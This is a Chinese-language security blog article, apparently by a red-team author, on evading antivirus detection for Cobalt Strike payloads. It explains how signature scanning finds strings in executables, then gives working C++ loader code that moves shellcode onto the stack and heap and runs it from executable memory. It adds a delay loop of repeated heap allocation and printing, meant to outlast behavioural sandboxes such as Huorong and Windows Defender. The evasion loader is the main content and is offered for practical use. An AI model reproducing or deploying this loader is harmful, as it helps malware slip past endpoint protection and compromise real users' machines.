从静到动聊杀软对抗

2022-04-06 5,576

前言


By:Astartes

杀软对抗貌似是个经久不衰的议题,在我看来他是红队必备的基础设施之一,在红队中不可缺少,我想用这篇文章,尽量用大白话的形式来说一下 "静","动",这篇文章很基础。因为到头来我只讲了如何上线。同时,这篇文章又与别的文章不太一样,我想从比较基础的东西让初学者知道到底该如何对抗。


静态免杀


首先我们先看下面这段代码,定义了两个数组

int main()
{
char Characterarr[] = { '1','2','3','4','5','6' };
char String[] = { "123456" };

return 0;

}

这两个数组的不同之处在于


  1. 类型不同

Characterarr为字符数组,String为字符串。字符串在后面默认填\0

  1. 存放区域不同   字符数组或者小数组存放的位置在栈里,而字符串是常量,在常量区


    请一定要注意这两种的格式,字符串由双引号包裹,字符数组由单引号包裹

    在汇编里如下

char Characterarr[] = { '1','2','3','4','5','6' };
009E512F  mov         byte ptr [Characterarr],31h  
009E5133  mov         byte ptr [ebp-0Fh],32h  
009E5137  mov         byte ptr [ebp-0Eh],33h  
009E513B  mov         byte ptr [ebp-0Dh],34h  
009E513F  mov         byte ptr [ebp-0Ch],35h  
009E5143  mov         byte ptr [ebp-0Bh],36h  
char String[] = { "123456" };
009E5147  mov         eax,dword ptr [string "123456" (09E7B30h)]  
009E514C  mov         dword ptr [String],eax  
009E514F  mov         cx,word ptr ds:[9E7B34h]  
009E5156  mov         word ptr [ebp-1Ch],cx  
009E515A  mov         dl,byte ptr ds:[9E7B36h]  
009E5160  mov         byte ptr [ebp-1Ah],dl  

在汇编代码里我们可以更清晰的看到 char Characterarr[] = { '1','2','3','4','5','6' }; 是通过mov 把数组里的值放入了 ebp- 的位置,ebp是栈寄存器。

char String[] = { "123456" }; String确是由09E7B30h这个地址里的值传给eax的

这里的知识其实是C语言的内存四区以及PE结构的知识。如果你不懂,那没关系。 看我下面的操作 我们可以重新生成一下第一个C语言程序,并且把那两个数组改成下面的 更改的代码如下

int main()
{
char Characterarr[] = { '1','2','3','4','5','6' };
char String[] = { "123456123456123456" };

return 0;

}

在编译好后,用十六进制编辑器打开这个exe,接着去搜索这两个字符数组。 看下图,我只找到了String的123456123456123456。

20220405151054.png


同时静态查杀的原因既是如此,如果病毒的特征库里存在123456123456123456这个字符串,存在这个字符串那他被扫描的时候就可以判断为病毒文件了。通过查找在磁盘中的文件的特征码(这些特征码由病毒库通过大量分析得出)来进行查杀。

大家伙儿用的最多的cobaltstrike的shellcode,他生成的payload也是以字符串的形式,同样,它也保存在常量区。 20220405155156.png

目前大家用到的最多的方式是对shellcode这个字符串加密,加密过后,虽然他依然在常量区,但是已经不在杀软的特征库里了。 你也可以把他放入到栈里,这里有一个问题是当你的字符数组里的值太多的时候,或者  选择Release时会给你放到常量区,这是因为编译器会进行优化。

这是我没有进行处理的时候,通过cobaltstrike默认提供的字符串的形式去加载的。火绒直接识别出了特征

20220405132829.png


下面的代码是我用来实现栈中存放数据的。

#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char* buf1()
{
  char buf[] = { '\xfc','\xe8','\x89','\x00','\x00'}; //CS的shellcode太长,这里是实例
char* charbuf = new char[799];
memcpy(charbuf, buf, 799);
return charbuf;
}
typedef void(__stdcall* CODE) ();

int runshellcode()
{
  char* charbuf = buf1();
  PVOID p = NULL;
  if ((p = VirtualAlloc(NULL, sizeof(charbuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
      MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
  if (!(memcpy(p, charbuf, 799)))
      MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
  CODE code = (CODE)p;
  code();
  return 0;
}

用栈的方式来实现非常简单,只需要把字符串改成字符数组即可,但是我们要注意编译器选择的栈的大小,我记得visual studio的默认栈的大小为1MB,如果超出这个大小,则情况未知,因为栈是由编译器进行维护的,我们是不可控的。 我用的是visual studio 2022 项目为debug版,因为选择Release时会给你放到常量区,同时我我的shellcode大小为799个, 我在把shellcode放入栈以后立马给了堆里,因为我怕再多的操作栈会被覆盖。

   char buf[] = { 's','h','e','l','l'}   //栈里
char* charbuf = new char[799];  //创建个堆,其实这行在上面之前会更好
memcpy(charbuf, buf, 799); //立马拷贝到堆里
return charbuf;

当然也可以通过编译器的选项来更改栈的大小,visual studio 的设置如下(我的是为默认设置)

20220405183044.png

接着我把生成好的文件放入了虚拟机

20220405190952.png

通过报警提示可以发现,这里的提示是(行为沙盒)。 并不是直接识别出了我们的特征码,到此我们已经过掉了静态的特征码查杀。


动态查杀


虽然我们已经绕过了静态查杀,但是现在的还是报毒,火绒的行为沙盒的介绍在这里http://www.huorong.cn/info/148473162658.html 当然除了火绒之外,其他的杀软也是有行为沙盒的,比如windows defender。 我查阅了大量的资料,很多资料是通过环境探测,父进程,命令参数,等各种方式,这些方式很好,但是真的不适合真实环境的对抗。

我这边的思路是只要在这个沙盒运行的时候让我们的程序不执行shellcode就好了

这种沙盒是有运行时间的,最多在10ms。因为再长了会很影响用户体验的 我们只要想办法让我们的shellcode再10ms后运行加载即可。 别用sleep因为sleep会被hook 我想了很多种办法,最后发现还是这个比较好用。因为它适合各种环境 我这里用的办法是开辟N个很大的堆,然后填充0。接着去打印他 开辟很大的堆这个是刚开始可以直接过windows defender的行为沙盒的。 但是大部分时候我们不知道对方用的是什么杀软。所以后面的填充0以及打印是一个过沙箱比较通用的方法。(同时他也可以绕过云上的检测,因为云把你的程序拖到云上机器来进行分析。) 众所周知,输入输出函数效率是很低的。 完整的代码如下。



#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
char* buf1()
{
  char buf[] = { "SHELLCODE" };
  char* charbuf = new char[799];
  memcpy(charbuf, buf, 799);
  return charbuf;
}
typedef void(__stdcall* CODE) ();

int runshellcode()
{
  char* charbuf = buf1();
  PVOID p = NULL;
  if ((p = VirtualAlloc(NULL, sizeof(charbuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
      MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);
  if (!(memcpy(p, charbuf, 799)))
      MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);
  CODE code = (CODE)p;
  code();
  return 0;
}
int createheap() //Bypass
{

  int i = 0;
  int j = 0;

  char* strpi = NULL;
  strpi = (char*)malloc(10000);
  for (i = 0; i < 10000; i++)
  {
      strpi[i] = 0;
      printf("%d,%d\n", strpi[i], i);
  }
  /*
  for (j = 0; j < 300; j++)
  {
      printf("%d,%d\n", strpi[j], j);
  }
  */
  free(strpi);
  return 0;
}
int main()

{
  int i;
  for (i = 0; i < 1000; i++)
  {
      createheap();
  }
  if (i == 1000)
  {
      runshellcode();
  }

  return 0;
}

下面测试一下~

20220406092414.png20220406165735-1024x654.png

本文作者:Astartes

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/176362.html

Tags:
评论  (0)
快来写下你的想法吧!

Astartes

文章数:2 积分: 0

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号